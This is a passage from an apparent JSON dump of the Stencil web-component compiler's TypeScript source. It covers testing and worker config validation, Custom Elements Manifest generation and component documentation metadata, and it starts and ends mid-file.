configuration\n    `**/*.system.entry.js`,\n    `**/*.system.js`,\n    `**/${config.fsNamespace}.js`,\n    `**/${config.fsNamespace}.esm.js`,\n    `**/${config.fsNamespace}.css`,\n  );\n};\n\nconst DEFAULT_GLOB_PATTERNS = ['*.html', '**/*.{js,css,json}'];\n\nconst DEFAULT_FILENAME = 'sw.js';\n"
  },
  {
    "path": "src/compiler/config/validate-testing.ts",
    "content": "import { buildError, isOutputTargetDist, isOutputTargetWww, isString, join, normalizePath } from '@utils';\nimport { basename, dirname, isAbsolute } from 'path';\n\nimport type * as d from '../../declarations';\nimport { isLocalModule } from '../sys/resolve/resolve-utils';\n\nexport const validateTesting = (config: d.ValidatedConfig, diagnostics: d.Diagnostic[]) => {\n  const testing = (config.testing = Object.assign({}, config.testing || {}));\n\n  if (!config.flags.e2e && !config.flags.spec) {\n    return;\n  }\n\n  let configPathDir = config.configPath!;\n  if (isString(configPathDir)) {\n    if (basename(configPathDir).includes('.')) {\n      configPathDir = dirname(configPathDir);\n    }\n  } else {\n    configPathDir = config.rootDir!;\n  }\n\n  if (typeof config.flags.headless === 'boolean' || config.flags.headless === 'shell') {\n    testing.browserHeadless = config.flags.headless;\n  } else if (typeof testing.browserHeadless !== 'boolean' && testing.browserHeadless !== 'shell') {\n    testing.browserHeadless = 'shell';\n  }\n\n  /**\n   * Using the deprecated `browserHeadless: true` flag causes Chrome to crash when running tests.\n   * Ensure users don't run into this by throwing a deliberate error.\n   */\n  if (typeof testing.browserHeadless === 'boolean' && testing.browserHeadless) {\n    throw new Error(`Setting \"browserHeadless\" config to \\`true\\` is not supported anymore, please set it to \"shell\"!`);\n  }\n\n  if (!testing.browserWaitUntil) {\n    testing.browserWaitUntil = 'load';\n  }\n\n  /**\n   * ensure we always test on stable Chrome\n   */\n  if (!isString(testing.browserChannel)) {\n    testing.browserChannel = 'chrome';\n  }\n\n  testing.browserArgs = testing.browserArgs || [];\n  addTestingConfigOption(testing.browserArgs, '--font-render-hinting=medium');\n  addTestingConfigOption(testing.browserArgs, '--incognito');\n  if (config.flags.ci || process.env.CI) {\n    addTestingConfigOption(testing.browserArgs, '--no-sandbox');\n    addTestingConfigOption(testing.browserArgs, '--disable-setuid-sandbox');\n    addTestingConfigOption(testing.browserArgs, '--disable-dev-shm-usage');\n    testing.browserHeadless = 'shell';\n  } else if (config.flags.devtools || testing.browserDevtools) {\n    testing.browserDevtools = true;\n    testing.browserHeadless = false;\n  }\n\n  if (typeof testing.rootDir === 'string') {\n    if (!isAbsolute(testing.rootDir)) {\n      testing.rootDir = join(config.rootDir!, testing.rootDir);\n    }\n  } else {\n    testing.rootDir = config.rootDir;\n  }\n\n  if (typeof config.flags.screenshotConnector === 'string') {\n    testing.screenshotConnector = config.flags.screenshotConnector;\n  }\n\n  if (typeof testing.screenshotConnector === 'string') {\n    if (!isAbsolute(testing.screenshotConnector)) {\n      testing.screenshotConnector = join(config.rootDir!, testing.screenshotConnector);\n    } else {\n      testing.screenshotConnector = normalizePath(testing.screenshotConnector);\n    }\n  } else {\n    testing.screenshotConnector = join(\n      config.sys!.getCompilerExecutingPath(),\n      '..',\n      '..',\n      'screenshot',\n      'local-connector.js',\n    );\n  }\n\n  /**\n   * We only allow numbers or null for the screenshotTimeout, so if we detect anything\n   * else, we set it to null.\n   */\n  if (typeof testing.screenshotTimeout != 'number') {\n    testing.screenshotTimeout = null;\n  }\n\n  if (!Array.isArray(testing.testPathIgnorePatterns)) {\n    testing.testPathIgnorePatterns = DEFAULT_IGNORE_PATTERNS.map((ignorePattern) => {\n      return join(testing.rootDir!, ignorePattern);\n    });\n\n    (config.outputTargets ?? [])\n      .filter(\n        (o): o is d.OutputTargetWww | d.OutputTargetDist => (isOutputTargetDist(o) || isOutputTargetWww(o)) && !!o.dir,\n      )\n      .forEach((outputTarget) => {\n        testing.testPathIgnorePatterns?.push(outputTarget.dir!);\n      });\n  }\n\n  if (typeof testing.preset !== 'string') {\n    testing.preset = join(config.sys!.getCompilerExecutingPath(), '..', '..', 'testing');\n  } else if (!isAbsolute(testing.preset)) {\n    testing.preset = join(configPathDir, testing.preset);\n  }\n\n  if (!Array.isArray(testing.setupFilesAfterEnv)) {\n    testing.setupFilesAfterEnv = [];\n  }\n\n  testing.setupFilesAfterEnv.unshift(\n    join(config.sys!.getCompilerExecutingPath(), '..', '..', 'testing', 'jest-setuptestframework.js'),\n  );\n\n  if (isString(testing.testEnvironment)) {\n    if (!isAbsolute(testing.testEnvironment) && isLocalModule(testing.testEnvironment)) {\n      testing.testEnvironment = join(configPathDir, testing.testEnvironment);\n    }\n  }\n\n  if (typeof testing.allowableMismatchedPixels === 'number') {\n    if (testing.allowableMismatchedPixels < 0) {\n      const err = buildError(diagnostics);\n      err.messageText = `allowableMismatchedPixels must be a value that is 0 or greater`;\n    }\n  } else {\n    testing.allowableMismatchedPixels = DEFAULT_ALLOWABLE_MISMATCHED_PIXELS;\n  }\n\n  if (typeof testing.allowableMismatchedRatio === 'number') {\n    if (testing.allowableMismatchedRatio < 0 || testing.allowableMismatchedRatio > 1) {\n      const err = buildError(diagnostics);\n      err.messageText = `allowableMismatchedRatio must be a value ranging from 0 to 1`;\n    }\n  }\n\n  if (typeof testing.pixelmatchThreshold === 'number') {\n    if (testing.pixelmatchThreshold < 0 || testing.pixelmatchThreshold > 1) {\n      const err = buildError(diagnostics);\n      err.messageText = `pixelmatchThreshold must be a value ranging from 0 to 1`;\n    }\n  } else {\n    testing.pixelmatchThreshold = DEFAULT_PIXEL_MATCH_THRESHOLD;\n  }\n\n  if (testing.testRegex === undefined) {\n    /**\n     * The test regex covers cases of:\n     * - files under a `__tests__` directory\n     * - the case where a test file has a name such as `test.ts`, `spec.ts` or `e2e.ts`.\n     *   - these files can use any of the following file extensions: .ts, .tsx, .js, .jsx.\n     *   - this regex only handles the entire path of a file, e.g. `/some/path/e2e.ts`\n     * - the case where a test file ends with `.test.ts`, `.spec.ts`, or `.e2e.ts`.\n     *   - these files can use any of the following file extensions: .ts, .tsx, .js, .jsx.\n     *   - this regex case shall match file names such as `my-cmp.spec.ts`, `test.spec.ts`\n     *   - this regex case shall not match file names such as `attest.ts`, `bespec.ts`\n     */\n    testing.testRegex = ['(/__tests__/.*|(\\\\.|/)(test|spec|e2e))\\\\.[jt]sx?$'];\n  } else if (typeof testing.testRegex === 'string') {\n    testing.testRegex = [testing.testRegex];\n  }\n\n  if (Array.isArray(testing.testMatch)) {\n    delete testing.testRegex;\n  } else if (typeof testing.testRegex === 'string') {\n    delete testing.testMatch;\n  }\n\n  if (typeof testing.runner !== 'string') {\n    testing.runner = join(config.sys!.getCompilerExecutingPath(), '..', '..', 'testing', 'jest-runner.js');\n  }\n\n  if (typeof testing.waitBeforeScreenshot === 'number') {\n    if (testing.waitBeforeScreenshot < 0) {\n      const err = buildError(diagnostics);\n      err.messageText = `waitBeforeScreenshot must be a value that is 0 or greater`;\n    }\n  } else {\n    testing.waitBeforeScreenshot = 10;\n  }\n\n  if (!Array.isArray(testing.emulate) || testing.emulate.length === 0) {\n    testing.emulate = [\n      {\n        userAgent: 'default',\n        viewport: {\n          width: 600,\n          height: 600,\n          deviceScaleFactor: 1,\n          isMobile: false,\n          hasTouch: false,\n          isLandscape: false,\n        },\n      },\n    ];\n  }\n};\n\nconst addTestingConfigOption = (setArray: string[], option: string) => {\n  if (!setArray.includes(option)) {\n    setArray.push(option);\n  }\n};\n\nconst DEFAULT_ALLOWABLE_MISMATCHED_PIXELS = 100;\nconst DEFAULT_PIXEL_MATCH_THRESHOLD = 0.1;\nconst DEFAULT_IGNORE_PATTERNS = ['.vscode', '.stencil', 'node_modules'];\n"
  },
  {
    "path": "src/compiler/config/validate-workers.ts",
    "content": "import type * as d from '../../declarations';\n\nexport const validateWorkers = (config: d.ValidatedConfig) => {\n  if (typeof config.maxConcurrentWorkers !== 'number') {\n    config.maxConcurrentWorkers = 8;\n  }\n\n  if (typeof config.flags.maxWorkers === 'number') {\n    config.maxConcurrentWorkers = config.flags.maxWorkers;\n  } else if (config.flags.ci) {\n    config.maxConcurrentWorkers = 4;\n  }\n\n  config.maxConcurrentWorkers = Math.max(Math.min(config.maxConcurrentWorkers, 16), 0);\n\n  if (config.devServer) {\n    config.devServer.worker = config.maxConcurrentWorkers > 0;\n  }\n};\n"
  },
  {
    "path": "src/compiler/docs/cem/index.ts",
    "content": "import { dashToPascalCase, isOutputTargetDocsCustomElementsManifest } from '@utils';\n\nimport type * as d from '../../../declarations';\n\n/**\n * Generate Custom Elements Manifest (custom-elements.json) output\n * conforming to the Custom Elements Manifest specification.\n * @see https://github.com/webcomponents/custom-elements-manifest\n *\n * @param compilerCtx the current compiler context\n * @param docsData the generated docs data from Stencil components\n * @param outputTargets the output targets configured for the build\n */\nexport const generateCustomElementsManifestDocs = async (\n  compilerCtx: d.CompilerCtx,\n  docsData: d.JsonDocs,\n  outputTargets: d.OutputTarget[],\n): Promise<void> => {\n  const cemOutputTargets = outputTargets.filter(isOutputTargetDocsCustomElementsManifest);\n  if (cemOutputTargets.length === 0) {\n    return;\n  }\n\n  const manifest = generateManifest(docsData);\n  const jsonContent = JSON.stringify(manifest, null, 2);\n\n  await Promise.all(cemOutputTargets.map((outputTarget) => compilerCtx.fs.writeFile(outputTarget.file!, jsonContent)));\n};\n\n/**\n * Generate the Custom Elements Manifest from Stencil docs data\n * @param docsData the generated docs data\n * @returns the Custom Elements Manifest object\n */\nconst generateManifest = (docsData: d.JsonDocs): CustomElementsManifest => {\n  // Group components by their source file path\n  const componentsByFile = new Map<string, d.JsonDocsComponent[]>();\n\n  for (const component of docsData.components) {\n    const filePath = component.filePath;\n    if (!componentsByFile.has(filePath)) {\n      componentsByFile.set(filePath, []);\n    }\n    componentsByFile.get(filePath)!.push(component);\n  }\n\n  const modules: JavaScriptModule[] = [];\n\n  for (const [filePath, components] of componentsByFile) {\n    const declarations: CustomElementDeclaration[] = components.map((component) => componentToDeclaration(component));\n\n    const exports: (JavaScriptExport | CustomElementExport)[] = components.flatMap((component) => {\n      const className = dashToPascalCase(component.tag);\n      return [\n        {\n          kind: 'js' as const,\n          name: className,\n          declaration: {\n            name: className,\n          },\n        },\n        {\n          kind: 'custom-element-definition' as const,\n          name: component.tag,\n          declaration: {\n            name: className,\n          },\n        },\n      ];\n    });\n\n    modules.push({\n      kind: 'javascript-module',\n      path: filePath,\n      declarations,\n      exports,\n    });\n  }\n\n  return {\n    schemaVersion: '2.1.0',\n    modules,\n  };\n};\n\n/**\n * Convert Stencil's ComponentCompilerTypeReferences to CEM TypeReference array\n * @param references Stencil's type references map\n * @returns CEM TypeReference array\n */\nconst convertTypeReferences = (references?: d.ComponentCompilerTypeReferences): TypeReference[] | undefined => {\n  if (!references || Object.keys(references).length === 0) {\n    return undefined;\n  }\n\n  return Object.entries(references).map(([name, ref]) => ({\n    name,\n    // Global types (like HTMLElement, Array) get 'global:' package\n    ...(ref.location === 'global' && { package: 'global:' }),\n    // Imported types get their module path\n    ...(ref.location === 'import' && ref.path && { module: ref.path }),\n    // Local types don't need package or module (they're in the same module)\n  }));\n};\n\n/**\n * Create a CEM Type object from a type string and optional references\n * @param text the type string\n * @param references Stencil's type references map\n * @returns CEM Type object\n */\nconst createType = (text: string, references?: d.ComponentCompilerTypeReferences): Type => {\n  const typeRefs = convertTypeReferences(references);\n  return {\n    text,\n    ...(typeRefs && { references: typeRefs }),\n  };\n};\n\n/**\n * Convert a Stencil component to a Custom Element Declaration\n * @param component the Stencil component docs data\n * @returns the Custom Element Declaration\n */\nconst componentToDeclaration = (component: d.JsonDocsComponent): CustomElementDeclaration => {\n  const className = dashToPascalCase(component.tag);\n\n  const attributes: Attribute[] = component.props\n    .filter((prop) => prop.attr !== undefined)\n    .map((prop) => ({\n      name: prop.attr!,\n      ...(prop.docs && { description: prop.docs }),\n      ...(prop.type && { type: createType(prop.type, prop.complexType?.references) }),\n      ...(prop.default !== undefined && { default: prop.default }),\n      fieldName: prop.name,\n      ...(prop.deprecation !== undefined && { deprecated: prop.deprecation || true }),\n    }));\n\n  const members: (CustomElementField | ClassMethod)[] = [\n    // Fields (properties)\n    ...component.props.map(\n      (prop): CustomElementField => ({\n        kind: 'field',\n        name: prop.name,\n        ...(prop.docs && { description: prop.docs }),\n        ...(prop.type && { type: createType(prop.type, prop.complexType?.references) }),\n        ...(prop.default !== undefined && { default: prop.default }),\n        ...(prop.deprecation !== undefined && { deprecated: prop.deprecation || true }),\n        ...(!prop.mutable && { readonly: true }),\n        ...(prop.attr && { attribute: prop.attr }),\n        ...(prop.reflectToAttr && { reflects: true }),\n      }),\n    ),\n    // Methods\n    ...component.methods.map(\n      (method): ClassMethod => ({\n        kind: 'method',\n        name: method.name,\n        ...(method.docs && { description: method.docs }),\n        ...(method.deprecation !== undefined && { deprecated: method.deprecation || true }),\n        ...(method.parameters &&\n          method.parameters.length > 0 && {\n            parameters: method.parameters.map((param) => ({\n              name: param.name,\n              ...(param.docs && { description: param.docs }),\n              ...(param.type && { type: createType(param.type, method.complexType?.references) }),\n            })),\n          }),\n        ...(method.returns && {\n          return: {\n            ...(method.returns.type && { type: createType(method.returns.type, method.complexType?.references) }),\n            ...(method.returns.docs && { description: method.returns.docs }),\n          },\n        }),\n      }),\n    ),\n  ];\n\n  const events: Event[] = component.events.map((event) => ({\n    name: event.event,\n    ...(event.docs && { description: event.docs }),\n    type: createType(event.detail ? `CustomEvent<${event.detail}>` : 'CustomEvent', event.complexType?.references),\n    ...(event.deprecation !== undefined && { deprecated: event.deprecation || true }),\n  }));\n\n  const slots: Slot[] = component.slots.map((slot) => ({\n    name: slot.name,\n    ...(slot.docs && { description: slot.docs }),\n  }));\n\n  const cssParts: CssPart[] = component.parts.map((part) => ({\n    name: part.name,\n    ...(part.docs && { description: part.docs }),\n  }));\n\n  const cssProperties: CssCustomProperty[] = component.styles\n    .filter((style) => style.annotation === 'prop')\n    .map((style) => ({\n      name: style.name,\n      ...(style.docs && { description: style.docs }),\n    }));\n\n  // Generate demos from usage examples\n  const demos: Demo[] = Object.entries(component.usage || {}).map(([name, content]) => ({\n    // Create relative URL from usagesDir + filename\n    url: component.usagesDir ? `${component.usagesDir}/${name}.md` : `${name}.md`,\n    ...(content && { description: content }),\n  }));\n\n  return {\n    kind: 'class',\n    customElement: true,\n    tagName: component.tag,\n    name: className,\n    ...(component.docs && { description: component.docs }),\n    ...(component.deprecation !== undefined && { deprecated: component.deprecation || true }),\n    ...(attributes.length > 0 && { attributes }),\n    ...(members.length > 0 && { members }),\n    ...(events.length > 0 && { events }),\n    ...(slots.length > 0 && { slots }),\n    ...(cssParts.length > 0 && { cssParts }),\n    ...(cssProperties.length > 0 && { cssProperties }),\n    ...(component.customStates.length > 0 && {\n      customStates: component.customStates.map((state) => ({\n        name: state.name,\n        initialValue: state.initialValue,\n        ...(state.docs && { description: state.docs }),\n      })),\n    }),\n    ...(demos.length > 0 && { demos }),\n  };\n};\n\n// Custom Elements Manifest Types\n// Based on https://github.com/webcomponents/custom-elements-manifest/blob/main/schema.d.ts\n\ninterface CustomElementsManifest {\n  schemaVersion: string;\n  modules: JavaScriptModule[];\n}\n\ninterface JavaScriptModule {\n  kind: 'javascript-module';\n  path: string;\n  declarations?: CustomElementDeclaration[];\n  exports?: (JavaScriptExport | CustomElementExport)[];\n}\n\ninterface JavaScriptExport {\n  kind: 'js';\n  name: string;\n  declaration: Reference;\n}\n\ninterface CustomElementExport {\n  kind: 'custom-element-definition';\n  name: string;\n  declaration: Reference;\n}\n\ninterface Reference {\n  name: string;\n  package?: string;\n  module?: string;\n}\n\ninterface CustomElementDeclaration {\n  kind: 'class';\n  customElement: true;\n  tagName: string;\n  name: string;\n  description?: string;\n  deprecated?: boolean | string;\n  attributes?: Attribute[];\n  members?: (CustomElementField | ClassMethod)[];\n  events?: Event[];\n  slots?: Slot[];\n  cssParts?: CssPart[];\n  cssProperties?: CssCustomProperty[];\n  customStates?: CustomState[];\n  demos?: Demo[];\n}\n\ninterface Demo {\n  url: string;\n  description?: string;\n}\n\ninterface Attribute {\n  name: string;\n  description?: string;\n  type?: Type;\n  default?: string;\n  fieldName?: string;\n  deprecated?: boolean | string;\n}\n\ninterface Type {\n  text: string;\n  references?: TypeReference[];\n}\n\ninterface TypeReference {\n  name: string;\n  package?: string;\n  module?: string;\n}\n\ninterface CustomElementField {\n  kind: 'field';\n  name: string;\n  description?: string;\n  type?: Type;\n  default?: string;\n  deprecated?: boolean | string;\n  readonly?: boolean;\n  attribute?: string;\n  reflects?: boolean;\n}\n\ninterface ClassMethod {\n  kind: 'method';\n  name: string;\n  description?: string;\n  deprecated?: boolean | string;\n  parameters?: Parameter[];\n  return?: {\n    type?: Type;\n    description?: string;\n  };\n}\n\ninterface Parameter {\n  name: string;\n  description?: string;\n  type?: Type;\n}\n\ninterface Event {\n  name: string;\n  description?: string;\n  type: Type;\n  deprecated?: boolean | string;\n}\n\ninterface Slot {\n  name: string;\n  description?: string;\n}\n\ninterface CssPart {\n  name: string;\n  description?: string;\n}\n\n/**\n * Custom state that can be targeted with the CSS :state() pseudo-class.\n * This is a custom extension to the CEM spec.\n */\ninterface CustomState {\n  name: string;\n  initialValue: boolean;\n  description?: string;\n}\n\ninterface CssCustomProperty {\n  name: string;\n  description?: string;\n}\n"
  },
  {
    "path": "src/compiler/docs/constants.ts",
    "content": "export const AUTO_GENERATE_COMMENT = `<!-- Auto Generated Below -->`;\nexport const NOTE = `*Built with [StencilJS](https://stenciljs.com/)*`;\n"
  },
  {
    "path": "src/compiler/docs/custom/index.ts",
    "content": "import { isOutputTargetDocsCustom } from '@utils';\n\nimport type * as d from '../../../declarations';\n\nexport const generateCustomDocs = async (\n  config: d.ValidatedConfig,\n  docsData: d.JsonDocs,\n  outputTargets: d.OutputTarget[],\n) => {\n  const customOutputTargets = outputTargets.filter(isOutputTargetDocsCustom);\n  if (customOutputTargets.length === 0) {\n    return;\n  }\n  await Promise.all(\n    customOutputTargets.map(async (customOutput) => {\n      try {\n        await customOutput.generator(docsData, config);\n      } catch (e) {\n        config.logger.error(`uncaught custom docs error: ${e}`);\n      }\n    }),\n  );\n};\n"
  },
  {
    "path": "src/compiler/docs/generate-doc-data.ts",
    "content": "import {\n  DEFAULT_STYLE_MODE,\n  flatOne,\n  isOutputTargetDocsJson,\n  join,\n  normalizePath,\n  relative,\n  sortBy,\n  unique,\n} from '@utils';\nimport { basename, dirname } from 'path';\n\nimport type * as d from '../../declarations';\nimport { JsonDocsValue } from '../../declarations';\nimport { typescriptVersion, version } from '../../version';\nimport { getBuildTimestamp } from '../build/build-ctx';\nimport { addFileToLibrary, getTypeLibrary } from '../transformers/type-library';\nimport { AUTO_GENERATE_COMMENT } from './constants';\n\n/**\n * Generate metadata that will be used to generate any given documentation-related\n * output target(s)\n *\n * @param config the configuration associated with the current Stencil task run\n * @param compilerCtx the current compiler context\n * @param buildCtx the build context for the current Stencil task run\n * @returns the generated metadata\n */\nexport const generateDocData = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n): Promise<d.JsonDocs> => {\n  const jsonOutputTargets = config.outputTargets.filter(isOutputTargetDocsJson);\n  const supplementalPublicTypes = findSupplementalPublicTypes(jsonOutputTargets);\n\n  if (supplementalPublicTypes !== '') {\n    // if supplementalPublicTypes is set then we want to add all the public\n    // types in that file to the type library so that output targets producing\n    // documentation can make use of that data later.\n    addFileToLibrary(config, supplementalPublicTypes);\n  }\n\n  const typeLibrary = getTypeLibrary();\n\n  return {\n    timestamp: getBuildTimestamp(),\n    compiler: {\n      name: '@stencil/core',\n      version,\n      typescriptVersion,\n    },\n    components: await getDocsComponents(config, compilerCtx, buildCtx),\n    typeLibrary,\n  };\n};\n\n/**\n * If the `supplementalPublicTypes` option is set on one output target, find that value and return it.\n *\n * @param outputTargets an array of docs-json output targets\n * @returns the first value encountered for supplementalPublicTypes or an empty string\n */\nfunction findSupplementalPublicTypes(outputTargets: d.OutputTargetDocsJson[]): string {\n  for (const docsJsonOT of outputTargets) {\n    if (docsJsonOT.supplementalPublicTypes) {\n      return docsJsonOT.supplementalPublicTypes;\n    }\n  }\n  return '';\n}\n\n/**\n * Derive the metadata for each Stencil component\n *\n * @param config the configuration associated with the current Stencil task run\n * @param compilerCtx the current compiler context\n * @param buildCtx the build context for the current Stencil task run\n * @returns the derived metadata\n */\nconst getDocsComponents = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n): Promise<d.JsonDocsComponent[]> => {\n  const results = await Promise.all(\n    buildCtx.moduleFiles.map(async (moduleFile) => {\n      const filePath = moduleFile.sourceFilePath;\n      const dirPath = normalizePath(dirname(filePath));\n      const readmePath = normalizePath(join(dirPath, 'readme.md'));\n      const usagesDir = normalizePath(join(dirPath, 'usage'));\n      const readme = await getUserReadmeContent(compilerCtx, readmePath);\n      const usage = await generateUsages(compilerCtx, usagesDir);\n\n      return moduleFile.cmps\n        .filter((cmp: d.ComponentCompilerMeta) => !cmp.internal && !cmp.isCollectionDependency)\n        .map((cmp: d.ComponentCompilerMeta) => ({\n          dirPath,\n          filePath: normalizePath(relative(config.rootDir, filePath), false),\n          fileName: basename(filePath),\n          readmePath,\n          usagesDir,\n          tag: cmp.tagName,\n          readme,\n          overview: cmp.docs.text,\n          usage,\n          docs: generateDocs(readme, cmp.docs),\n          docsTags: cmp.docs.tags,\n          encapsulation: getDocsEncapsulation(cmp),\n          dependents: cmp.directDependents,\n          dependencies: cmp.directDependencies,\n          dependencyGraph: buildDocsDepGraph(cmp, buildCtx.components),\n          deprecation: getDocsDeprecationText(cmp.docs.tags),\n\n          props: getDocsProperties(cmp),\n          methods: getDocsMethods(cmp.methods),\n          events: getDocsEvents(cmp.events),\n          styles: getDocsStyles(cmp),\n          slots: getDocsSlots(cmp.docs.tags),\n          parts: getDocsParts(cmp.htmlParts, cmp.docs.tags),\n          customStates: getDocsCustomStates(cmp),\n          listeners: getDocsListeners(cmp.listeners),\n        }));\n    }),\n  );\n\n  return sortBy(flatOne(results), (cmp) => cmp.tag);\n};\n\nconst buildDocsDepGraph = (\n  cmp: d.ComponentCompilerMeta,\n  cmps: d.ComponentCompilerMeta[],\n): d.JsonDocsDependencyGraph => {\n  const dependencies: d.JsonDocsDependencyGraph = {};\n  function walk(tagName: string): void {\n    if (!dependencies[tagName]) {\n      const cmp = cmps.find((c) => c.tagName === tagName);\n      const deps = cmp?.directDependencies;\n      if (deps?.length > 0) {\n        dependencies[tagName] = deps;\n        deps.forEach(walk);\n      }\n    }\n  }\n  walk(cmp.tagName);\n\n  // load dependents\n  cmp.directDependents.forEach((tagName) => {\n    if (dependencies[tagName] && !dependencies[tagName].includes(cmp.tagName)) {\n      dependencies[tagName].push(cmp.tagName);\n    } else {\n      dependencies[tagName] = [cmp.tagName];\n    }\n  });\n  return dependencies;\n};\n\n/**\n * Determines the encapsulation string to use, based on the provided compiler metadata\n * @param cmp the metadata for a single component\n * @returns the encapsulation level, expressed as a string\n */\nconst getDocsEncapsulation = (cmp: d.ComponentCompilerMeta): 'shadow' | 'scoped' | 'none' => {\n  if (cmp.encapsulation === 'shadow') {\n    return 'shadow';\n  } else if (cmp.encapsulation === 'scoped') {\n    return 'scoped';\n  } else {\n    return 'none';\n  }\n};\n\n/**\n * Generate a collection of JSDoc metadata for both real and virtual props\n * @param cmpMeta the component metadata to derive JSDoc metadata from\n * @returns the derived metadata\n */\nconst getDocsProperties = (cmpMeta: d.ComponentCompilerMeta): d.JsonDocsProp[] => {\n  return sortBy(\n    [...getRealProperties(cmpMeta.properties), ...getVirtualProperties(cmpMeta.virtualProperties)],\n    (p) => p.name,\n  );\n};\n\n/**\n * Generate a collection of JSDoc metadata for props on a component\n * @param properties the component's property metadata to derive JSDoc metadata from\n * @returns the derived metadata\n */\nconst getRealProperties = (properties: d.ComponentCompilerProperty[]): d.JsonDocsProp[] => {\n  return properties\n    .filter((member) => !member.internal)\n    .map((member) => ({\n      name: member.name,\n      type: member.complexType.resolved,\n      complexType: member.complexType,\n      mutable: member.mutable,\n      attr: member.attribute,\n      reflectToAttr: !!member.reflect,\n      docs: member.docs.text,\n      docsTags: member.docs.tags,\n      default: member.defaultValue,\n      deprecation: getDocsDeprecationText(member.docs.tags),\n      values: parseTypeIntoValues(member.complexType.resolved),\n\n      optional: member.optional,\n      required: member.required,\n\n      getter: member.getter,\n      setter: member.setter,\n    }));\n};\n\n/**\n * Generate a collection of JSDoc metadata for props on a component\n * @param virtualProps the component's virtual property metadata to derive JSDoc metadata from\n * @returns the derived metadata\n */\nconst getVirtualProperties = (virtualProps: d.ComponentCompilerVirtualProperty[]): d.JsonDocsProp[] => {\n  return virtualProps.map(\n    (member): d.JsonDocsProp => ({\n      name: member.name,\n      type: member.type,\n      mutable: false,\n      attr: member.name,\n      reflectToAttr: false,\n      docs: member.docs,\n      docsTags: [],\n      default: undefined,\n      deprecation: undefined,\n      values: parseTypeIntoValues(member.type),\n\n      optional: true,\n      required: false,\n\n      getter: undefined,\n      setter: undefined,\n    }),\n  );\n};\n\nconst parseTypeIntoValues = (type: string): d.JsonDocsValue[] => {\n  if (typeof type === 'string') {\n    const unions = type.split('|').map((u) => u.trim());\n    const parsedUnions: JsonDocsValue[] = [];\n    unions.forEach((u) => {\n      if (u === 'true') {\n        parsedUnions.push({\n          value: 'true',\n          type: 'boolean',\n        });\n        return;\n      }\n      if (u === 'false') {\n        parsedUnions.push({\n          value: 'false',\n          type: 'boolean',\n        });\n        return;\n      }\n      if (!Number.isNaN(parseFloat(u))) {\n        // union is a number\n        parsedUnions.push({\n          value: u,\n          type: 'number',\n        });\n        return;\n      }\n      if (/^(\"|').+(\"|')$/gm.test(u)) {\n        // ionic is a string\n        parsedUnions.push({\n          value: u.slice(1, -1),\n          type: 'string',\n        });\n        return;\n      }\n      parsedUnions.push({\n        type: u,\n      });\n    });\n    return parsedUnions;\n  }\n  return [];\n};\n\nconst getDocsMethods = (methods: d.ComponentCompilerMethod[]): d.JsonDocsMethod[] => {\n  return sortBy(methods, (member) => member.name)\n    .filter((member) => !member.internal)\n    .map(\n      (member) =>\n        <d.JsonDocsMethod>{\n          name: member.name,\n          returns: {\n            type: member.complexType.return,\n            docs: member.docs.tags\n              .filter((t) => t.name === 'return' || t.name === 'returns')\n              .map((t) => t.text)\n              .join('\\n'),\n          },\n          complexType: member.complexType,\n          signature: `${member.name}${member.complexType.signature}`,\n          parameters: member.complexType.parameters,\n          docs: member.docs.text,\n          docsTags: member.docs.tags,\n          deprecation: getDocsDeprecationText(member.docs.tags),\n        },\n    );\n};\n\nconst getDocsEvents = (events: d.ComponentCompilerEvent[]): d.JsonDocsEvent[] => {\n  return sortBy(events, (eventMeta) => eventMeta.name.toLowerCase())\n    .filter((eventMeta) => !eventMeta.internal)\n    .map((eventMeta) => ({\n      event: eventMeta.name,\n      detail: eventMeta.complexType.resolved,\n      bubbles: eventMeta.bubbles,\n      complexType: eventMeta.complexType,\n      cancelable: eventMeta.cancelable,\n      composed: eventMeta.composed,\n      docs: eventMeta.docs.text,\n      docsTags: eventMeta.docs.tags,\n      deprecation: getDocsDeprecationText(eventMeta.docs.tags),\n    }));\n};\n\n/**\n * Transforms the {@link d.CompilerStyleDoc} metadata for a component into a {@link d.JsonDocsStyle}, providing sensible\n * defaults where needed.\n * @param cmpMeta the metadata for a single Stencil component, which contains the compiler style metadata\n * @returns a new series containing a {@link d.JsonDocsStyle} entry for each {@link d.CompilerStyleDoc} entry.\n */\nexport const getDocsStyles = (cmpMeta: d.ComponentCompilerMeta): d.JsonDocsStyle[] => {\n  if (!cmpMeta.styleDocs) {\n    return [];\n  }\n\n  return sortBy(\n    cmpMeta.styleDocs,\n    (compilerStyleDoc) => `${compilerStyleDoc.name.toLowerCase()},${compilerStyleDoc.mode.toLowerCase()}}`,\n  ).map((compilerStyleDoc) => {\n    return {\n      name: compilerStyleDoc.name,\n      annotation: compilerStyleDoc.annotation || '',\n      docs: compilerStyleDoc.docs || '',\n      mode: compilerStyleDoc.mode && compilerStyleDoc.mode !== DEFAULT_STYLE_MODE ? compilerStyleDoc.mode : undefined,\n    };\n  });\n};\n\nconst getDocsListeners = (listeners: d.ComponentCompilerListener[]): d.JsonDocsListener[] => {\n  return listeners.map((listener) => ({\n    event: listener.name,\n    target: listener.target,\n    capture: listener.capture,\n    passive: listener.passive,\n  }));\n};\n\n/**\n * Get the text associated with a `@deprecated` tag, if one exists\n * @param tags the tags associated with a JSDoc block on a node in the AST\n * @returns the text associated with the first found `@deprecated` tag. If a `@deprecated` tag exists but does not\n * have associated text, an empty string is returned. If no such tag is found, return `undefined`\n */\nconst getDocsDeprecationText = (tags: d.JsonDocsTag[]): string | undefined => {\n  const deprecation = tags.find((t) => t.name === 'deprecated');\n  if (deprecation) {\n    return deprecation.text || '';\n  }\n  return undefined;\n};\n\nconst getDocsSlots = (tags: d.JsonDocsTag[]): d.JsonDocsSlot[] => {\n  return sortBy(\n    getNameText('slot', tags).map(([name, docs]) => ({ name, docs })),\n    (a) => a.name,\n  );\n};\n\nconst getDocsParts = (vdom: string[], tags: d.JsonDocsTag[]): d.JsonDocsSlot[] => {\n  const docsParts = getNameText('part', tags).map(([name, docs]) => ({ name, docs }));\n  const vdomParts = vdom.map((name) => ({ name, docs: '' }));\n  return sortBy(\n    unique([...docsParts, ...vdomParts], (p) => p.name),\n    (p) => p.name,\n  );\n};\n\n/**\n * Extract custom states documentation from component metadata\n *\n * @param cmpMeta the component metadata to extract custom states from\n * @returns array of custom state documentation objects\n */\nconst getDocsCustomStates = (cmpMeta: d.ComponentCompilerMeta): 